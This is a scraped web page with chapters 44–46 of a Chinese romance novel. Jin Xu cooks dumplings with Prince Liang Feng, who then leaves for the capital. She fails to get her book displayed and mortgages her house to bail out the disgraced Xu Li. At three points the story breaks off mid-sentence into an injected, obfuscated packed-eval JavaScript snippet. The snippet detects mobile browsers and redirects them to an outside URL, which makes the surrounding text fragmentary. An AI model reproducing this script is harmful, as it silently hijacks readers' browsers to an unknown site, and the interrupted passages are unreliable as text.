“是不到两日。”金絮纠正他,也笑了笑,用笑容回应他的骄傲,梁风更自得了。 “皇帝对你的顾忌真不是没来由的。”金絮补充道:“他那几个儿子个个都是草包。” 梁风敛了笑,没有斥责她这话,“不说这个了,吃饱没有?吃饱了我带你四处逛逛。” “逛够了,太南还有哪个地方是我没去过的。” 她说完,梁风还没说话,金絮蓦地恍然道:“哦哦,是陪你去,陪你去。那走吧,吃饱了。” 梁风会心一笑,牵她并肩漫步,直至夕阳铺满街道。 44. 寻常百姓 次日金絮和柔竹去府衙接刚从牢里放出来的徐礼。 被关了两天三夜,徐礼模样狼狈憔悴,瘦了很多,杂乱的长发缀满枯草,胡子半脸,像是滴水未沾过的嘴唇苍白开裂,一双眼睛却亮得吓人。 柔竹焦急上前,替他披上斗篷,嘴里碎碎说着关慰的话。 金絮隔得不远地看着他,垂手不动。她也想走近仔细看看徐礼怎么样了,可徐礼那双眼睛中蕴涵的汹涌情绪却令她不敢靠近。注意到她的直视,徐礼看过来,眼神接触的一刻,金絮发觉徐礼眼中的恨与怨还不如几年前的自己。 她突然想知道从前梁风是如何接住她的眼神的。 “走吧,先回家。” 金絮一句话顺着风飘过去。柔竹和徐礼互相搀扶着。一同回到家。 徐礼沉默不语地进了屋,柔竹正想跟着进去却被拦在门外。金絮拍拍柔竹的肩膀,“去做饭吧,徐礼在牢中肯定吃得不好,给他补补。” 柔竹笑起来,“好。” 金絮还是只能打下手,刀刃滑出薄厚不一的萝卜片,心里想着有些话待会该怎么和徐礼开口。 “阿絮姐,我打算开个馄饨铺,你说怎么样?” “馄饨?” 金絮思绪停住,见柔竹一脸期待地看着她,脑子里立刻开始盘算,“可以啊,以你的手艺味道一定好,肯定有人喜欢。馄饨铺的话,刚开始可以用手推车,做个流动铺子,再起个好名字。”不知不觉越说越多,“名声大了、有了银子后就在祈福街买个铺面,开面馆。但是做大的话人手不够,若雇佣外人,菜品口味会变差......”生意规模渐渐在脑中成型,金絮停刀,“一两个人会忙不过来,我可以帮你。” 正好她还有五两银子,开个铺子足够了。 “先不想那么远啦。”似乎是得到金絮的认同,柔竹开心地跳起来,“我就是这么打算,还不知道阿礼的意思呢。” 挑起了话头,金絮顺势问道:“徐礼是非当官不可吗?他会愿意去做生意?” “不知道呢,阿礼他说读过书的人就不要去做生意了,应当报效朝廷,为国民效力。” “他这样说吗?”金絮笑得与心情无关。 “是呀。”柔竹眼睛弯弯,“阿礼是不是很厉害。” 金絮一笑不语,柔竹点柴下油,滑入肉片,滋滋声响,腻香随着油烟升腾翻滚。金絮朦胧间看见徐礼站在门口。 “阿絮,你出来一下。” 金絮和徐礼站在院中,他沐浴收拾了一番,眼中戾气消盛,情绪缓和。她猜得出他要说什么。 “你还好吗?看开一些,宦海沉浮,做官就是这样。” 徐礼没说话,隔了良久问她:“我一直以为这个官是我自己买的,其实不是的吧?” “嗯,不是。” “你安排的?” “不是,我怎么做得到。” “那是谁?” 金絮张嘴欲语,还是改口:“也不能完全说不是我,他是因为想帮我才为你安排的。” “我一直不知道你是何人。”徐礼直直看着她,“柔竹也不知道。” 金絮目光坦然,“因为我不希望你们知道。” 徐礼神色一顿,却没说什么。 她轻声问:“徐礼,你还想做官么?” 徐礼闻言,眸光变黯,看向地面,微垂着头一言不发。 金絮忽然看不懂他了,意识到他开始像那些久浸官场的人一般会将自己的心思与目的深藏起来。心底某处似乎幽幽叹了口气,她缓慢地开口:“你可以与我说说,我说不定有能帮到你的地方,还能去问问柔竹的意愿。” 他像是得了鼓励,吸了口气,拳头攥紧,紧得双臂微微摆动,怒气发泄出来: “我读了这些年的书,我就想做个官。我有抱负!当初得知这个建塔立名的机会,我本以为可以一展拳脚,却没想到那柳宇宁敢利用我!他们官官相护,置清廉于何地?!” 一字字掷地有声。金絮不为所动。 他愤而踱步,“我本想能在两年内升至舍人,另置府邸,风风光光娶了柔竹,让她过上好日子。结果......” 梁风说的果然不错。妄想两年内升至舍人,金絮并不觉得徐礼可以。 她刚被卖到温柔馆时,徐娘见她懂得一些文章圣贤之道,便让她每日教徐礼念书识字,她那时就已看出徐礼没什么真材实料,只会干巴巴背书,不懂得融会贯通,心底还不乐意被一个女子教书。大多时候她都只是当着徐娘的面简单点评,并不会对徐礼真心实意地夸奖,然而他还是自视过高。金絮也不知道这其中有多少是她的引导。 “我一心为民,只想有朝一日做个好官,却不想官场浑浊至此,哪容得下半滴清水?!” 不为他的情绪所动,金絮声音冷冷静静,“你太着急了,步入官场首先要懂的是明哲保身。” “若再给我一次机会,我定能做好!” “可你还有机会吗?” 徐礼一愣,半晌没有反应过来。 金絮温和一笑,“这几年你和柔竹过得很辛苦吧。” 徐礼喉结滚动,胸膛下沉,双眼打量她,半晌道:“谈不上辛苦,只是累了柔竹,每天上下操持,还要帮我做些小手艺卖钱。这些年多亏了她。” “那你往后打算与柔竹如何?” 他闻言,忽闪的眸光往下低。金絮忽然觉得跟他说话很累。 “你们谁来帮我看火啊?柴火快熄了!” 厨房里传来柔竹的喊话,金絮丢下一句话:“柔竹是个好姑娘,她想开个馄饨铺子,你莫辜负了她。”便撂下徐礼进屋了。 炉灶内的火温熏得她眼干,金絮也不太懂烧柴的技巧,火焰忽大忽小,但她知道这并不会妨碍柔竹一展厨艺。 “柔竹,徐礼骗你银子还清的事,你生气吗?” 柔竹一边翻锅铲,一边皱着眉头思索道:“好像不是很气。他是怕我担心嘛。阿絮姐,我应该生气吗?” 金絮笑着摇摇头,不再多言,任柔竹自己思考。 吃过饭后,金絮回屋取出编了一半的发带。发带蓝白相间,布条中心有细丝穿过,朴素无华。 她就着烛火耐心地编着,编得不好看的地方反复拆开重编,最后编完还是不好看。 可他昨日才告诉她何时要走,来不及准备更精细的东西了。若有时间,还想做腰带和鞋子给他的。不过她女红不好,做不来太过复杂细致的东西。 熬到夜深,编成的样子总算拿得出手了,金絮一觉睡到约定的时辰。 她洗漱毕,拿玉簪子盘了发,便出门去和光府。 门口十三早备了马车等候着,她饥肠辘辘地随马车晃悠,抵达落地时腿软得险些站不住。 李晟站在和光府门口,没有守卫。李管家显然等候已久,见她便揖道:“絮姑娘,王爷在庖厨等您。”说着推开大门。 “他在厨房?做什么?” “絮姑娘去了便知。” 金絮直入,快步向厨房走去,心里不知怎想到了大圣人说的君子远庖厨。 她又恍恍想起,上次在她家他已经近过庖厨了。 厨房忙忙碌碌,还未走近便闻到烟火气和梁风的打喷嚏咳嗽声,她走快两步,与油烟撞个满怀。 “王爷,您快出去吧,庖厨不是您待的地方。” 李婶的声音。金絮还没找到李婶,就见灶台旁立着的梁风。 他穿着华服,却将长袖束起,手掌抹满白色粉灰,捣鼓着盆子,原来是在揉面团。 “我这是在做饺子皮。” 他笑吟吟地看着她,“你饿不饿?那儿,是我做的拌牛肉,你先垫垫肚子。” 旁边的桌上码了两碟肉,卖相一般,李管家招呼她筷子,金絮立刻吃了一口肉,勉强赞道:“还不错。” 梁风眉毛都要飞起来,再次道:“我做的。” 金絮忽视。她四下一看,他贴身的人此刻几乎全在厨房里,掌勺的是李婶,丫鬟暗卫们切菜的切菜,剁肉的剁肉,烧柴的烧柴,李管家四处走动打下手,就连随她来的十三都迅速地加入开始洗菜。 “你怎么亲自下厨?” 金絮往他的盆里瞧,白胖的面团揉得有模有样的。 “你看我们现在像不像那天在你家里时,你和那小姑娘一起做饭的模样?” 他眼中有兴奋之色,脸上沾了面粉,淡化了皮肤的色差,眉目迷蒙,像透着一层薄雾看他。 金絮点头应道:“像。” “那像不像寻常人家?”他又问。 没想到他还惦记着这个。 金絮又点头,“像。” 不知不觉吃完了大半碟拌牛肉,她犹豫了一会,把剩下的都吃完了。 “都是给你做的。”梁风侧头看着她,“好吃么?” “好吃。” 他笑了笑,面团一块一块亲吻他的手指,粘拖不放,他努力地将手指上的面团赶回大面团中。慢慢地,面团逐渐光滑,他的手指也光滑。 金絮站在厨房中间,无所事事。 梁风将面团给李婶看,“李婶,你看揉成这样么?” “哎是。” “然后呢?” “分成数十个剂子,用擀面杖擀成薄片,就可以包饺子了。” “剂子是什么?” 这个金絮知道:“就是小面团。” 梁风取出面团,分成数十个大小差不多相等的剂子,俯身拿过擀面杖,垂下长发越肩拂过面团,发梢沾上点点雪白。 金絮绕至他身后,拂拢他的披发,在肩后用发带简单一束,再仔细洗了手,与他一起擀面团。 “阿絮你会用这个么?”擀面杖在他手里耍了个漂亮的刀花。 “不会。但大概知道怎么用。”金絮取了另一支擀面杖,将剂子左右擀擀,擀成一个形状扭曲的面片,像随意泼成的一滩水。 梁风有样学样,也开始擀起来,一边同她说道:“我打算包饺子,做个汤和鱼,几样家常小炒菜,还有老李爱吃的肘子,就这些,你还有别的想吃的么,我们现做。” “没有了,这已经很多了。”金絮手肘几乎和他碰在一起。 “不知道味道会怎样,”梁风狡黠地笑,“除了李婶,我们都没下过厨。” 金絮也笑,“怎么突然兴起?” “不算突然,上次见你跟那小姑娘做过饭后,我就也想跟你做一次饭。” “哎呀王爷!”李婶突然责怪道:“不能擀成这样啊,这样如何能包?” 金絮和梁风双双停下手里的动作,李婶拿过金絮的擀面杖和一个剂子,一手捏转面团一手擀,三两下将剂子擀成了浑圆的面片。 “这样的才对。” 饶是金絮一瞬不瞬地盯着看,却仍仿佛漏看了过程,不知那小面团怎么就成了李婶手里的样子,最后只能摇摇头,道一句:“没看明白。” 梁风道:“难看一点不要紧,反正是我们自己吃。” 李婶便看汤去了。 金絮抬头,与梁风相视一笑,继续泼面。 很快擀完了,饺子馅也做好了。金絮洗手准备开始包,梁风却兴奋地跑去掌勺,锅里是个小炒肉,最后翻炒几下即可出锅。她看出来,梁风那颠锅铲的几下舞出了挥刀的气势,铁锅乒乓作响。 金絮笑道:“你不适合做这个。” “我想你吃的每道菜我都能参与一点。”他用筷子夹起一片肉,“尝尝,李婶说,做饭要一边做一边吃才好吃。” 金絮不置可否,就着筷子吃掉肉片,“嗯,好吃。” 梁风笑容更深,“阿絮你今日格外依我。” “不是说好了送你。” “送我跟依我可不一样。”梁风盛出小炒肉,“剩下的交给李婶,阿絮,我们包饺子。” 他现在是想怎么唤她就怎么唤她了。金絮也无所谓。 扭曲的饺皮包出扭曲的饺子,梁风玩得不亦乐乎,金絮看着他,将手中的饺子捏成了各种笑嘻嘻的模样。 沸水下锅,不一会儿,白胖子挣扎着 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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他从怀中拿出一枚荷包,金絮接过拆开,只看见了那样东西的一角便将荷包重新系紧,推回给他。 梁风微笑,“我已经看过了。” 金絮仔细捕捉他的神情,半晌不动,梁风又将荷包推予她,“我既替你拿了来,你便看看吧。” 金絮很犹豫,但这次梁风直接把这件事放到台面上,她也没必要矫情,取出了荷包里比绣花针略粗的一卷字条,展开,上书六字:世间已无此人。 以前的消息都是查无此人,这次是已无此人。 她撕了字条道:“我本想等你走了后,再去天机阁回收消息的,你倒是帮我拿了来,果然我这些年做什么都没瞒过你。” 就在温柔馆倒闭的前一年,她偶然从一个来客口中听说父亲从前麾下的一名旧部还活着的消息,于是不惜花费千金从天机阁购买此人下落,希望却一次次落空。 梁风的监视不容小觑,加上他背后还有一双皇帝的眼睛,金絮察觉到这几年她其实走得很险。 “我可以帮你找。” “不找了,找不到。这是我买的最后一条消息了。” “这人是谁?” “你不知道吗?” 梁风摇摇头。 金絮无法抑制地失落,“我也不知道的,只是听说这人认识父亲,就想找到他。” 但是希望很渺茫,当年即便有人能在诛九族下侥幸存活,之后也极可能在流离中死于乱军刀下。 “金家业大,一定还有人活着。”梁风五指交扣她的手,“你为什么想找到这人?” “不为了什么。”金絮避而不谈。 “这两年你复仇之心淡了许多,我知你的,我只是不希望你伤害自己。” 金絮沉默地听着,遥望远处马场看不见的另一头。 “你这些年跟我说的话我都知道是什么意思......” “听不懂你在说什么。”她站起来,走出亭子,用力地踩着枯草,像是想把曾经被草地吞没的家人的鲜血给踩得从土里蹦出来沾到她的鞋上。 “阿絮。” 金絮回头看他,紫藤花轻骚他的头顶。 “九月记得来找我。你答应了的。” 今日他心情好,金絮也不想逆着他的意思,只轻轻点了点头。 李晟走过来揖道:“王爷,时辰不早了,该出发了。” 梁风离亭牵她的手,一步步走向府外。 这一路他什么话都没说,走得很慢,金絮也什么都不说。 一行车马早已备好,梁风站在门口,久久不动,也不看她。金絮耐心地陪着。 “阿絮。” “嗯?” “那年我南下顾府求学,还曾疑惑为何顾夫人愿与金丞相分两地而居,他们不会念着对方吗?” 梁风低下头,金絮抬头看他,看见他眼中千言万语。 “而如今将与你两地相隔,我却忽然有些明白了,你在京城过得不开心,我自然是希望你能待在会让你开心的地方。” 金絮滞了一瞬,梁风忽然张开双臂拥抱她,她还未反应过来,梁风就松开了手。 金絮张了嘴,话语几乎脱口而出,但又止住,本想跟他说回了京便娶个妻吧,最终却没有说。 “怎么了?” 她摇摇头,心底自嘲地笑了笑,挥手与他告别。 “那我走了。” “嗯。” 华盖马车载着一股油烟味向京城驶去。 金絮目光追随车尾直至消失。 掌心里紧握时的温度犹存,她想起刚才梁风过来牵她时,她极为自然地就将手交给了他。 金絮懊恼地掌击额头,心中狠狠叹气,最终甩了甩手,回看一眼和光府,府内留了几名丫鬟仆从看守,便转身走向马车消失的相反方向。 45. 《温柔新语》 金絮回到家,天很快黑了。她准备仔细与柔竹商量开馄饨铺子的事宜,柔竹显得很兴奋。 “阿絮姐,真的能开吗?” “是啊,总要赚钱。” “那阿絮姐你等一下,我煮碗馄饨给你尝尝看。” 金絮坐在一旁等着了,方才进门时留神看了看徐礼的房间,没有亮灯,便问:“今天徐礼在做什么?” “阿礼一早就出去了,我也不知道他干什么去。” 柔竹将馄饨倒入沸水中,热汤花样地溅出来。 “由他吧。” “哦......” 金絮看了柔竹一眼,见小丫头欲言又止,笑道:“怎么了?小柔竹有心事?” “阿絮姐,我觉得......我好像还是有一点生气的。”柔竹低头调汤底,细细的眉毛皱在一起。 金絮一笑,走近,指尖轻轻按压柔竹的眉毛,“因为他骗你银子还清了的事?” “嗯......” “那便跟他生气嘛,让他以后不许再骗你了。” “可我又觉得他是为了我好。” “为了你好可不会瞒着你这种事情啊,明知你大多时候一人在家,仍然让债主找上门来了,徐礼这事做得很不好。” 柔竹眉毛皱得深起来,金絮少见柔竹露出这样的表情,不免有些怜惜,“傻丫头,你要知道一个人在乎你时,他会是什么样子的。” 馄饨浮上水面,被冒滚的水泡推至锅边,柔竹捞起来,“煮好了,快尝尝。” 金絮用勺子划圈散热,舀一个馄饨,刚品出味道来,柔竹问道:“阿絮姐,王爷也会骗你吗?” 肉馅顿时不上不下,馅心发烫,她用力咽下粗肉粒,“呃,这个......他倒是不怎么会骗我。” 刺烫的温度钻进肺里,金絮呼出一口气,声音轻轻的,“反而是我在骗他。” 柔竹瞪大眼睛,“阿絮姐,你骗王爷啊?” 她苦笑,“嗯。” “那你骗王爷是为了王爷好吗?” 为他好? 金絮戚戚搅弄汤底,汤心形成一个浅浅的漩涡,“也不是为谁好,就是那一刻,不想把真话告诉他。” 但明明告诉他真话,会更好。 “那阿絮姐,你以后也不要骗王爷了。” 金絮笑着不答话,吞进一颗馄饨。 “味道很好,可以出摊。” 柔竹闻言很开心地抱住金絮。 当夜,金絮浴后关了门,在书桌上码放两本书,一本是笑长生遗稿,一本是《温柔新语》。 她想将这两本书拿去书肆展出,既然写了,还是希望能有人看看。只是不知道需要多少银子。 刊刻的费用肯定不够,馄饨铺也要花费,而她只剩五两银子。 不管馄饨铺生意好不好,近一段时间内,她应该是不会有空闲和银子去京城了。 她脑袋砸到桌面,砸得笔洗荡出涟漪,再次自嘲地笑笑,一狠心,将梁风抛之脑后。 她如今有些怀念从前为了买条消息一掷千金的潇洒了。 金絮扯过白纸,写下太南所有的民间书肆,决定明日挨个去探探。 坊间书肆大大小小总共十一所。仅一所是太南太学府建办的,不面向平民百姓。而太南离京城不远,剩余十所全是京内各大世家贵族在太南私起的藏书之地,其中六所不对外开放,三所只许书生夫子或世家子弟进入,供百姓出入的只有两所,而这两所书肆都是商贾之家建来附庸风雅的,所展书目除了几本耳熟能详的圣人之言外,大多都是市井间流传的神怪演义和才子佳人的风月传说,非经非典。 金絮要去的正是这两间书肆,正统文人看不上的书肆才适合《温柔新语》。 “太南红叶生?......此人从未听说过。” 第一间书肆的掌柜白发苍苍,睁大浑浊的双眼凑近《温柔新语》扉页下的署名。 “是我。”金絮朝他一笑,“这书是我写的。” “你——?”掌柜拖着长音,眸色暗淡的眼睛改凑金絮,似是看清楚她后,不耐烦地挥手,“你能写的甚么书?拿去拿去。” 金絮被赶了出来。 那掌柜的仔细瞅准了她,说了一句:“姑娘啊,少出些门吧。” 金絮也不管他看不看得见,客气地笑笑,抱着书去下一个书肆。 可当第二间书肆的掌柜问起《温柔新语》由何人所著时,她犹豫几番,最终还是道:“家兄所写。” 掌柜点点头,捋须道:“太南红叶生?此人从未听说过。” “这是家兄的第一部文集。” 掌柜打量她,“看你年纪不大,兄长便有书著成,后生可畏啊。” 金絮微笑。掌柜继续问:“怎么你兄长不亲自来?让你代劳?” “家兄昨日便上京了,我只替他将此书送来。” “原来如此。这书所录是何内容啊?” “所录......去年京城一家青楼倒闭贩卖了,书中记的是那家青楼中几名女子的言谈。” 掌柜闻言,自书本中抬起双眼,平静的目光注视着她。金絮脸上挂着笑,任他毫无波澜却暗含审视意味的眼神在她脸上割刀子,她努力不让自己空洞的表情被他看出什么。 掌柜盯着她瞧了几息,收住眼神,看向别处,金絮瞬间懂了他什么意思,忙道:“掌柜的,这书中没有写那些事的,所写内容还是比较风雅的......” “我知道。”掌柜打断她,“风雅?不也就那意思么。最近京里禁书禁得紧呐,不是甚么书都能往外摆的。” 金絮想反驳,掌柜又道:“倒是笑长生未完的书稿你是从何处得来的?你兄长不曾增删过的罢?” “我......” “增删便增删罢,留下此书。这个你拿回去。”掌柜将《温柔新语》推回给她。 金絮如鲠在喉,心想不如她将两本书都藏起来好了。 她忽然后悔,是不是《温柔新语》也该署笑长生的名,反正笑长生已经去世了。 展示不出去就算了,她抱着《温柔新语》,准备回家。 “絮娘?” 身后忽然有人唤她,金絮疑惑回头,就见王殊的车马立于街边,他站在车舆上笑得朗朗地看着她。 金絮立刻裣衽一礼,“王公子。” 王殊今日只带了一名小厮,王靖不在。 他下车,“絮姑娘,这是来此置书?” “不是,我是来卖书的。”她一笑,“可惜未得掌柜青眼。” 王殊露出恍然的表情,伸出一只手,笑道: ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14839780|159134||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' “不知我能否有幸一阅?” “几个拙字,没什么好看的。”金絮这么说着,却是把书递给了他。 王殊翻了一翻,认真地看了几眼,饶有趣味地看着她,“这书是絮姑娘写的?” 她点点头,书里记的就是温柔馆的事情,若说不是她写的,王殊或许不信。 “有意思。”王殊合上书册,“絮姑娘,不如将此书给我,我为你选个合适的书肆。” 未料他主动提起,金絮不免感到开心,“方便吗?” “帮絮姑娘的忙有何不方便的。”他将书抓在手中,“絮姑娘用过饭了吗?我在吉祥酒楼订了雅间。” 金絮一愣,差点忘记上次就发现王殊这人的行事风格了,她赶忙一笑,正待回绝,转而又意识到错过这个机会,可能再无法把《温柔新语》公示出来。 她的犹豫暴露在王殊眼底,王殊神情仿佛尽在掌握,金絮心中叹气,道:“多谢王公子好意,不过我用过饭了。至于这书,只是件小事,就不劳烦王公子了。” 王殊似是毫不意外,手仍抓着书册,“那便不用饭了,不过这忙,我肯定是帮你的。待我回去选间书肆,将你这书摆在最显眼的位置可好?” 金絮发觉这人进退有度,对她的想法拿捏得很准,不愧是常年混迹秦楼楚馆的人。 她笑了一笑,“我这书怕是担不起书肆中最显眼的位置,还是把它放在家里垫桌脚吧。”她手快地夺回书本,“时辰不早了,王公子既然还未用饭,便快些去酒楼吧,告辞。” 不等王殊回答,她一福身,扭头快步离开。拐过一个街角,见王殊没有追上来,松了口气。 心中虽然遗憾,但她也没真的觉得《温柔新语》可以如此轻易地公示。 她漫无目的地走在街上,正午的太阳照下来,照着她手中的书页,方才掌柜审视的眼神浮现眼前,她忽然觉得手里的书烫得几乎让人想把它甩开,仿佛有什么事情不能暴露在阳光之下。 可《温柔新语》里没写任何淫奔的内容,那掌柜连看都没看就拿那种眼神看她。 她都已经说不是她写的了。 金絮用力地将书扉卷起来,藏躲那四个字。 只是她对不起梁风。红叶生是她和梁风共同的署名,然而她三言两语下,梁风变成她的兄长了。 让他知道这事,只怕会很生气。 叹了口气,金絮回到家,把书扔在了箱底。 午间与柔竹商讨开馄饨铺子的事宜,将具体需购置的物事详列下来,她一边算价钱,一边计划到早市看看。 不知不觉入夜,街鼓的响声窜过大街小巷,家家户户点燃了灯,一时屋檐墙头装点一层暖黄的橘光。 夜深了,柔竹去看了一遍徐礼卧房,奇怪道:“阿絮姐,阿礼还没回来。” 金絮不以为意道:“也许是在外过夜了吧。” “除了在衙署当值,他从不会彻夜不归的,可是他现在......”柔竹有些着急。 “没事的,你别急,我们现在也出不去,明早再看情况吧。他说不定只是在某个友人家里被耽搁了,错过了时辰。” 柔竹也没法,只好捺住焦急。 金絮却从账簿中抬起头,看着逐渐黑沉的天幕。远方夕阳已散,天上一颗星子也无。慢慢一股不祥浮上心头。 46. 负 天光大亮,徐礼仍未回来。 “你可知他在府衙中有哪些相熟的人?” “不知道,阿礼从未与我说过这些。” “那他一夜不归,会是去做什么事情?” 柔竹无措地摇摇头,过了会儿道:“他会不会是因为被罢了官,心中气闷,所以......所以去喝花酒了?” 金絮不禁笑了出来,“别瞎想。”她略做一停,又道:“不过,徐礼这个年纪,去喝花酒也没什么的。” 柔竹睁大了眼睛,急道:“他说他不喜那些花柳之地的,他从前答应过我,不会去那些地方的。”像是说给自己听一般。 见小丫头把她的话当了真,金絮笑一下,“那再等等吧,到午时若他还未回来,我们就出去找。” 又过了一个时辰,有敲门声响起。 柔竹抢去拉开门,金絮也探过去一看,却见门外是个官打扮的人,手拿一卷官府文书,不怒自威的双眼盯着她二人。 金絮不明所以,“您是?” “这里是徐礼的住所?你们是徐礼的家属?” 来人声音浑厚有力。金絮越发奇怪,“我们是,官老爷,出什么事了吗?” “我是郡府词曹掾史,前来下发徐礼冲撞刺史大人一案的判决文书。” “什么?冲撞刺史大人?” 来人态度公事公办,将手中文书递给金絮。 金絮震愕,紧接过文书,展开草草一阅。上书徐礼昨夜酒后冲撞刺史许大人,现已下狱,衙内连夜审理,终以刺史大人念及徐礼初遭罢官,做出冲动之举情有可原,便不记徐礼之过,仅罚数两银子,以示惩处。 她阅至末尾,手指抖捏得文书泛起褶皱。 安分王的脸真是好打。 上一份判决文书还没捂热乎,又来一份。 “傍晚前,拿银子去官府赎人吧。” 词曹掾史说完,转身冷漠离去。 “阿絮姐......” 柔竹声音颤抖,金絮看着柔竹的双眼,深深吸气,强自镇定下来,“别怕,我来......” “哎哟——” 一道尖锐的声音打断她。 “你们就是徐礼的贤内助呐?” 金絮看过去,数步外一名与徐礼年龄相仿的男子奸笑玩味地打量她们。 “哟,徐礼这‘贤内助’还有两个呢!真是羡煞我也!” 这人语气怪极,金絮皱了皱眉,偏身挡住柔竹,“你是什么人?” “呵,我是何人?” 这男子走近,一双眼睛狼盯金絮,“你们如今知道要问我是何人了,徐礼买官走捷径时怎不看那些被他阻了官途的人是谁!现在知道了吧,早说那位子不是他的!他这下完了吧!” 金絮明白了这人是来落井下石的,冷静道:“你想做什么?徐礼已经被罢官了。” 这人恍如未闻,怪笑道:“许大人被他打了居然还能放过他,你们这‘贤内助’倒是有些手段,把他伺候得舒服吧?哦不,是他把你们伺候得舒服吧!还装模作样地住这种地方,你们对徐礼倒是好啊。” 一股遭辱的怒火腾地燃起,金絮手指捏得文书变形,仍抑住道:“买官也是正途,徐礼书读得晚才考不上太学。他被罢官,空出来的位子轮到你了吗?” 这人变了脸色,眼神几番阴晴不定,最终朝金絮狠狠一啐,嫌恶地扭头离去。 “你这人怎么这样啊。”柔竹似是被这人最后吐口水的动作恶心到了,对着背影气道:“读了书,就可以不知礼了吗?” 那人自是没理。 金絮紧咬牙,一口气梗在胸中,剧烈地胀着,唰地关上门,怒火自五脏六腑燃烧至嗓子眼,眼前景象阵阵发黑。 “阿絮姐,这人说了些什么啊?” 她看了柔竹一眼,口中发干,涩笑道:“没事,你别理,这人只是嫉妒徐礼。” “阿——阿絮......姐?”柔竹声音怪异地小下去。 她捏着门栓的手指泛白,眼睛越来越干,冷冷道:“以前倒是没看出来,徐礼如此自以为是。” 这次惹了刺史,又会给梁风带去什么麻烦? 真以为有了靠山,行事就可肆无忌惮了? 梁风允他靠了吗? “怎、怎么了......”柔竹声音细若蚊吟,“阿絮姐......你这样......我有点害怕......” 金絮一怔,迅速撇开头闭眼深呼吸,眼前景色回复正常后再看向柔竹,笑道:“没事的,你别怕,只是这件事......” 她平息静气,仔细思量一番。 梁风已经去京城了,他也说过徐礼行事不完全受他控制,而且这事未必会传到京城,皇帝不知,应该不会对他造成很大影响。 他毕竟是王爷。 眼下这烂摊子更棘手。 “柔竹,”金絮正色道:“这件事之后我会找机会与徐礼说清楚,不然徐礼以后会一直以为有人庇护着他,做事越发无所顾忌,这样只会给王爷徒增负担,王爷已经去京城了。”她握住柔竹的手,“徐礼现在背后是没有靠山的,你明白了吗?” “嗯......”柔竹缓缓点头,迟疑道:“王爷为徐礼做过什么?我一直不知道......” “徐礼那官位是王爷给他安排的。” 柔竹反应过来,微微睁大了眼睛,“是这样......那......啊,刚才那人意思是......”未说完便住了嘴,难言地看着金絮。 文书在她掌心几乎捏成细条,她回房拿了取钱令和所有现银,再拉开门,跨出去,“筹银子去吧。” 柔竹关门,追上她,“阿絮姐,会要多少银子啊?” “肯定不少。” 金絮行至官府,询问与百姓面接的官老爷,展示判决书,官老爷阅毕后伸出五指。 她试探地腆笑问:“五两?” “五十两!” “这么贵!”柔竹张大嘴巴。 金絮心里发苦。 “傍晚前将银子拿来,人今日就能放出。最迟不过明日。” 官老爷不耐烦说完便打发她们。 她拉着柔竹走开,府衙里的人忙忙碌碌,渐渐她二人被人流推出府。 炎炎烈日顺檐流下,她怔忡地看着街道,却想着梁风离开太南才第三天,快的话明日或后日就能抵京,若是太守或刺史想在他背后捅一刀,此刻的时机正好。接着神思又飘到这五十两银子上,她僵硬的脸忽然露出一笑。 “刺史的年禄是六百石,这五十两银子就足抵一年的俸禄了。” 她仰天轻叹,“我虽然也不喜欢烟花柳巷之地,但销金窟的确很赚钱。” 无可筹措之际,十三落她身旁,“姑娘,此事是否告知王爷?” 金絮看了十三一眼,沉默地摇摇头。 “王爷临行前,给了属下一块令牌。” 十三双手奉上令牌,令牌掌心大,刻有安分王府的印徽。 金絮手指动了动,却是没接。 “姑娘,王爷料到您在太南行事易受阻,特意嘱咐我的。这令牌仅便于出入各地,权限并不大。” 令牌在十三掌心散发金灿灿的光芒,她扯了一下嘴角,行事?他可知她会行什么事? 若是接了,她再做何事都逃不出他的法眼。 “我不用,你收着吧。不靠他,我也不是全无办法。” 不过是银子,借就是了。 金絮将家中所有冬衣、棉被、器具都拿去掌葫钱庄抵押,借了二十两银子,还差二十五两,不够。她索性把全部东西又都拿回来,用房契作抵押,借足了银子,赎回了徐礼,还余了几十文钱。 她袖中藏着两贯铜钱回到家。 真是可笑。她发觉自己这几年一点长进都没有,还是那个手无寸力、连家人和自己都保护不了的小孩。挣扎到最后,居然还负了几十两的债。 不就是一落千丈,又不是第一次了。有什么好悲戚戚的。 只是突然之间,好像快活不下去了。 那就找活下去的办法。 找不到,也有些...... 前几年是一夜间失去所有家人,这次是失去所有钱财。 呵。她自嘲地笑。 至少这样,去不了京城,他就不能说她违约了。 天色暗下来,卧房的烛火没点,金絮摊在榻上,心里似乎什么都没想,又似乎想着身边所有人。 迷迷糊糊睡过去时,隐约听见争吵声,她恍惚睁眼,听出争吵声传自隔壁房间。 她撑桌站起来,步出门。夜色不知何时深了,堂屋和院子都无灯,门院的月光蒙纱般铺地,屋中十分黑静,别无声响。只有愈发凶狠的吵架声冲击门窗,一字字仿佛要裂木而出。 “你能不能不要再拖累阿絮姐了!” 撕裂的愤喊夹杂一道茶杯碎地的声音。 金絮步入月下,月纱覆落身上,青白的庭院像是抹了层灰膏。 茶杯的碎裂似是发出最后一分情绪,屋内传出柔竹低低的哭声和徐礼抑制情 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 